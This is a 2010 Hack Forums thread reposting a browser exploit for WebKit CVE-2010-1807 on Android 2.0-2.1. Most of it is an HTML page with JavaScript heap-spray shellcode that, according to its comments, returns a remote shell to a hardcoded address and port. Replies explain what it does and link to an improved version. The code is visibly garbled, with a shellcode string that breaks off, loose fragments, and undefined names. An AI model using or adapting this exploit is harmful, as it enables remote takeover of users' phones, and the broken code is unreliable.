

Forum:[Hack Forums](#)

Thread: [Android 2.0-2.1 Reverse Shell Exploit](#)

discodave - November 5, 2010, 12:58 am

Source: <http://anonym.to/?http://www.exploit-db.com/exploits/15423/>

```
<html>
<head>
<script>
// bug = webkit code execution CVE-2010-1807
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
// listed as a safari bug but also works on android :)
//tested = moto droid 2.0.1 , moto droid 2.1 , emulator 2.0 - 2.1
//patched= android 2.2
//author = mj
// hardcoded to return a shell to 10.0.2.2 port 2222
//
function sploit(pop)
{
var span = document.createElement("div");
document.getElementById("pwn").appendChild(span);
span.innerHTML = pop;
}
function heap()
{
var scode =
unescape("%u003c84\u0057\u003c80\u0057\u003c7c\u0057\u003c78\u0057\u003c74\u0057\u003c70\u0057\u003c6c\u0057\u003c68\u0057\u003c64\u0057\u003c60\u0057\u003c5c\u0057\u003c58\u0057\u003c54\u0057\u003c50\u0057\u003c4c\u0057\u003c48\u0057\u003c44\u0057\u003c40\u0057\u003c3c\u0057\u003c38\u0057\u003c34\u0057\u003c30\u0057\u003c2c\u0057\u003c28\u0057\u003c24\u0057\u003c20\u0057\u003c1c\u0057\u003c18\u0057\u003c14\u0057\u003c10\u0057\u003c0c\u0057\u003c08\u0057\u003c04\u0057\u003bfc\u0057\u003bfc\u0057\u003bf8\u0057\u003bf4\u0057\u003bf0\u0057\u003bec\u0057\u003be8\u0057\u003be4\u0057\u003be0\u0057\u003bdc\u0057\u003bd8\u0057\u003bd4\u0057\u003bd0\u0057\u003bcc\u0057\u003bc8\u0057\u003bc4\u0057\u003bc0\u0057\u003bb\u0057\u003bb8\u0057\u003bb4\u0057\u003bb0\u0057\u003bac\u0057\u003ba8\u0057\u003ba4\u0057\u003ba0\u0057\u003b9c\u0057\u003b98\u0057\u003b94\u0057\u003b90\u0057\u003b8c\u0057\u003b88\u0057\u003b84\u0057\u003b80\u0057\u003b7c\u0057\u003b78\u0057\u003b74\u0057\u003b70\u0057\u003b6c\u0057\u003b68\u0057\u003b64\u0057\u003b60\u0057\u003b5c\u0057\u003b58\u0057\u003b54\u0057\u003b50\u0057\u003b4c\u0057\u003b48\u0057\u003b44\u0057\u003b40\u0057\u003b3c\u0057\u003b38\u0057\u003b34\u0057\u003b30\u0057\u003b2c\u0057\u003b28\u0057\u003b24\u0057\u003b20\u0057\u003b1c\u0057\u003b18\u0057\u003b14\u0057\u003b10\u0057\u003b0c\u0057\u003b08\u0057\u003b04\u0057\u003afc\u0057\u003afc\u0057\u003af8\u0057\u003af4\u0057\u003af0\u0057\u003aec\u0057\u003ae8\u0057\u003ae4\u0057\u003ae0\u0057\u003adc\u0057\u003ad8\u0057\u003ad4\u0057\u003ad0\u0057\u003acc\u0057\u003ac8\u0057\u003ac4\u0057\u003ac0\u0057\u003abc\u0057\u003ab8\u0057\u003ab4\u0057\u003ab0\u0057\u003aac\u0057\u003aa8\u0057\u003aa4\u0057\u003aa0\u0057\u003a9c\u0057\u003a98\u0057\u003a94\u0057\u003a90\u0057\u003a8c\u0057\u003a88\u0057\u003a84\u0057\u003a80\u0057\u003a7c\u0057\u003a78\u0057\u003a74\u0057\u003a70\u0057\u003a6c\u0057\u003a68\u0057\u003a64\u0057\u003a60\u0057\u003a5c\u0057\u003a58\u0057\u003a54\u0057\u003a50\u0057\u003a4c\u0057\u003a48\u0057\u003a44\u0057\u003a40\u0057\u003a3c\u0057\u003a38\u0057\u003a34\u0057\u003a30\u0057\u003a2c\u0057\u003a28\u0057\u003a24\u0057\u003a20\u0057\u003a1c\u0057\u003a18\u0057\u003a14\u0057\u003a10\u0057\u003a0c\u0057\u003a08\u0057\u003a04\u0057\u0039fc\u0057\u0039fc\u0057\u0039f8\u0057\u0039f4\u0057\u0039f0\u0057\u0039ec\u0057\u0039e8\u0057\u0039e4\u0057\u0039e0\u0057\u0039dc\u0057\u0039d8\u0057\u0039d4\u0057\u0039d0\u0057\u0039cc\u0057\u0039c8\u0057\u0039c4\u0057\u0039c0\u0057\u0039bc\u0057\u0039b8\u0057\u0039b4\u0057\u0039b0\u0057\u0039ac\u0057\u0039a8\u0057\u0039a4\u0057\u0039a0\u0057\u00399c\u0057\u003998\u0057\u003994\u0057\u003990\u0057\u00398c\u0057\u003988\u0057\u003984\u0057\u003980\u0057\u00397c\u0057\u003978\u0057\u003974\u0057\u003970\u0057\u00396c\u0057\u003968\u0057\u003964\u0057\u003960\u0057\u00395c\u0057\u003958\u0057\u003954\u0057\u003950\u0057\u00394c\u0057\u003948\u0057\u003944\u0057\u003940\u0057\u00393c\u0057\u003938\u0057\u003934\u0057\u003930\u0057\u00392c\u0057\u003928\u0057\u003924\u0057\u003920\u0057\u00391c\u0057\u003918\u0057\u003914\u0057\u003910\u0057\u00390c\u0057\u003908\u0057\u003904\u0057\u0039fc\u0057\u0039fc\u0057\u0039f8\u0057\u0039f4\u0057\u0039f0\u0057\u0039ec\u0057\u0039e8\u0057\u0039e4\u0057\u0039e0\u0057\u0039dc\u0057\u0039d8\u0057\u0039d4\u0057\u0039d0\u0057\u0039cc\u0057\u0039c8\u0057\u0039c4\u0057\u0039c0\u0057\u0039bc\u0057\u0039b8\u0057\u0039b4\u0057\u0039b0\u0057\u0039ac\u0057\u0039a8\u0057\u0039a4\u0057\u0039a0\u0057\u00399c\u0057\u003998\u0057\u003994\u0057\u003990\u0057\u00398c\u0057\u003988\u0057\u003984\u0057\u003980\u0057\u00397c\u0057\u003978\u0057\u003974\u0057\u003970\u0057\u00396c\u0057\u003968\u0057\u003964\u0057\u003960\u0057\u00395c\u0057\u003958\u0057\u003954\u0057\u003950\u0057\u00394c\u0057\u003948\u0057\u003944\u0057\u003940\u0057\u00393c\u0057\u003938\u0057\u003934\u0057\u003930\u0057\u00392c\u0057\u003928\u0057\u003924\u0057\u003920\u0057\u00391c\u0057\u003918\u0057\u003914\u0057\u003910\u0057\u00390c\u0057\u003908\u0057\u003904\u0057\u0039fc\u0057\u0039fc\u0057\u0039f8\u0057\u0039f4\u0057\u0039f0\u0057\u0039ec\u0057\u0039e8\u0057\u0039e4\u0057\u0039e0\u0057\u0039dc\u0057\u0039d8\u0057\u0039d4\u0057\u0039d0\u0057\u0039cc\u0057\u0039c8\u0057\u0039c4\u0057\u0039c0\u0057\u0039bc\u0057\u0039b8\u0057\u0039b4\u0057\u0039b0\u0057\u0039ac\u0057\u0039a8\u0057\u0039a4\u0057\u0039a0\u0057\u00399c\u0057\u003998\u0057\u003994\u0057\u003990\u0057\u00398c\u0057\u003988\u0057\u003984\u0057\u003980\u0057\u00397c\u0057\u003978\u0057\u003974\u0057\u003970\u0057\u00396c\u0057\u003968\u0057\u003964\u0057\u003960\u0057\u00395c\u0057\u0039
```

057\u39e8\u0057\u39e4\u0057\u39e0\u0057\u39dc\u0057\u39d8\u0057\u39d4\u0057\u39d0\u0057
7\u39cc\u0057\u39c8\u0057\u39c4\u0057\u39c0\u0057\u39bc\u0057\u39b8\u0057\u39b4\u0057\u39b0
0057\u39ac\u0057\u39a8\u0057\u39a4\u0057\u39a0\u0057\u399c\u0057\u3998\u0057\u3994
0057\u3990\u0057\u398c\u0057\u3988\u0057\u3984\u0057\u3980\u0057\u397c\u0057\u3978\u0057
0057\u3974\u0057\u3970\u0057\u396c\u0057\u3968\u0057\u3964\u0057\u3960\u0057\u395c\u0057
7\u3958\u0057\u3954\u0057\u3950\u0057\u394c\u0057\u3948\u0057\u3944\u0057\u3940\u0057\u393c
0057\u3938\u0057\u3934\u0057\u3930\u0057\u392c\u0057\u3928\u0057\u3924\u0057\u3920\u0057\u391c
0057\u3918\u0057\u3914\u0057\u3910\u0057\u390c\u0057\u3908\u0057\u3904\u0057\u38fc\u0057\u38f8
0057\u38f4\u0057\u38f0\u0057\u38ec\u0057\u38e8\u0057\u38e4\u0057\u38e0\u0057\u38dc\u0057\u38d8
0057\u38d4\u0057\u38d0\u0057\u38cc\u0057\u38c8\u0057\u38c4\u0057\u38c0\u0057\u38bc\u0057\u38b8
0057\u38b4\u0057\u38b0\u0057\u38ac\u0057\u38a8\u0057\u38a4\u0057\u38a0\u0057\u389c\u0057\u3898
0057\u3894\u0057\u3890\u0057\u388c\u0057\u3888\u0057\u3884\u0057\u3880\u0057\u387c\u0057\u3878
0057\u3874\u0057\u3870\u0057\u386c\u0057\u3868\u0057\u3864\u0057\u3860\u0057\u385c\u0057\u3858
0057\u3854\u0057\u3850\u0057\u384c\u0057\u3848\u0057\u3844\u0057\u3840\u0057\u383c\u0057\u3838
0057\u3834\u0057\u3830\u0057\u382c\u0057\u3828\u0057\u3824\u0057\u3820\u0057\u381c\u0057\u3818
0057\u3814\u0057\u3810\u0057\u380c\u0057\u3808\u0057\u3804\u0057\u37fc\u0057\u37f8\u0057\u37f4
0057\u37f0\u0057\u37ec\u0057\u37e8\u0057\u37e4\u0057\u37e0\u0057\u37dc\u0057\u37d8\u0057\u37d4
0057\u37d0\u0057\u37cc\u0057\u37c8\u0057\u37c4\u0057\u37c0\u0057\u37bc\u0057\u37b8\u0057\u37b4
0057\u37b0\u0057\u37ac\u0057\u37a8\u0057\u37a4\u0057\u37a0\u0057\u379c\u0057\u3798\u0057\u3794
0057\u3790\u0057\u378c\u0057\u3788\u0057\u3784\u0057\u3780\u0057\u377c\u0057\u3778\u0057\u3774
0057\u3770\u0057\u376c\u0057\u3768\u0057\u3764\u0057\u3760\u0057\u375c\u0057\u3758\u0057\u3754
0057\u3750\u0057\u374c\u0057\u3748\u0057\u3744\u0057\u3740\u0057\u373c\u0057\u3738\u0057\u3734
0057\u3730\u0057\u372c\u0057\u3728\u0057\u3724\u0057\u3720\u0057\u371c\u0057\u3718\u0057\u3714
0057\u3710\u0057\u370c\u0057\u3708\u0057\u3704\u0057\u36fc\u0057\u36f8\u0057\u36f4\u0057\u36f0
0057\u36ec\u0057\u36e8\u0057\u36e4\u0057\u36e0\u0057\u36dc\u0057\u36d8\u0057\u36d4
0057\u36d0\u0057\u36cc\u0057\u36c8\u0057\u36c4\u0057\u36c0\u0057\u36bc\u0057\u36b8
0057\u36b4\u0057\u36b0\u0057\u36ac\u0057\u36a8\u0057\u36a4\u0057\u36a0\u0057\u369c
0057\u3698\u0057\u3694\u0057\u3690\u0057\u368c\u0057\u3688\u0057\u3684\u0057\u3680
0057\u367c\u0057\u3678\u0057\u3674\u0057\u3670\u0057\u366c\u0057\u3668\u0057\u3664
0057\u3660\u0057\u365c\u0057\u3658\u0057\u3654\u0057\u3650\u0057\u364c\u0057\u3648
0057\u3644\u0057\u3640\u0057\u363c\u0057\u3638\u0057\u3634\u0057\u3630\u0057\u362c
0057\u3628\u0057\u3624\u0057\u3620\u0057\u361c\u0057\u3618\u0057\u3614\u0057\u3610
0057\u360c\u0057\u3608\u0057\u3604\u0057\u35fc\u0057\u35f8\u0057\u35f4\u0057\u35f0
0057\u35ec\u0057\u35e8\u0057\u35e4\u0057\u35e0\u0057\u35dc\u0057\u35d8\u0057\u35d4
0057\u35d0\u0057\u35cc\u0057\u35c8\u0057\u35c4\u0057\u35c0\u0057\u35bc\u0057\u35b8
0057\u35b4\u0057\u35b0\u0057\u35ac\u0057\u35a8\u0057\u35a4\u0057\u35a0\u0057\u359c
0057\u3598\u0057\u3594\u0057\u3590\u0057\u358c\u0057\u3588\u0057\u3584\u0057\u3580
0057\u357c\u0057\u3578\u0057\u3574\u0057\u3570\u0057\u356c\u0057\u3568\u0057\u3564
0057\u3560\u0057\u355c\u0057\u3558\u0057\u3554\u0057\u3550\u0057\u354c\u0057\u3548
0057\u3544\u0057\u3540\u0057\u353c\u0057\u3538\u0057\u3534\u0057\u3530
0057\u352c\u0057\u3528\u0057\u3524\u0057\u3520\u0057\u351c
0057\u3518\u0057\u3514\u0057\u3510\u0057\u350c
0057\u3508\u0057\u3504\u0057\u34fc\u0057\u34f8\u0057\u34f4
0057\u34f0\u0057\u34ec\u0057\u34e8\u0057\u34e4
0057\u34e0\u0057\u34dc\u0057\u34d8
0057\u34d4\u0057\u34d0
0057\u34cc
0057\u34c8
0057\u34c4
0057\u34c0
0057\u34bc
0057\u34b8
0057\u34b4
0057\u34b0
0057\u34ac
0057\u34a8
0057\u34a4
0057\u34a0
0057\u349c
0057\u3498
0057\u3494
0057\u3490
0057\u348c
0057\u3488
0057\u3484
0057\u3480
0057\u347c
0057\u3478
0057\u3474
0057\u3470
0057\u346c
0057\u3468
0057\u3464
0057\u3460
0057\u345c
0057\u3458
0057\u3454
0057\u3450
0057\u344c
0057\u3448
0057\u3444
0057\u3440
0057\u343c
0057\u3438
0057\u3434
0057\u3430
0057\u342c
0057\u3428
0057\u3424
0057\u3420
0057\u341c
0057\u3418
0057\u3414
0057\u3410
0057\u340c
0057\u3408
0057\u3404
0057\u33fc
0057\u33f8
0057\u33f4
0057\u33f0
0057\u33ec
0057\u33e8


```
{
  exploit(-parseFloat("NAN(ffffe00572c60)"));
}
document.write("The targets!! " + target[i]);
document.write("<br />");
}
}
</script>
</head>
<body id="pwn">
woot
<script>
heap();
</script>
</body>
</html>?
```

Plummer - November 5, 2010, 9:09 am

Could you please explain what this is supposed to do? o.0

discodave - November 5, 2010, 9:53 am

(Nov 5, 2010 09:09 AM)Victorvondoom Wrote: [\[CITE\]](#) Could you please explain what this is supposed to do? o.0

It says there in code: "hardcoded to return a shell to 10.0.2.2 port 2222" This particular code does that. Of course you can do your own version of it.

discodave - November 16, 2010, 7:09 am

New version for Android's exploit (webkit CVE-2010-1807) - better success rate/shorter shellcode.

Find it from here:

<http://anonym.to/?http://imthezuk.blogspot.com/2010/11/float-parsing-use-after-free.html>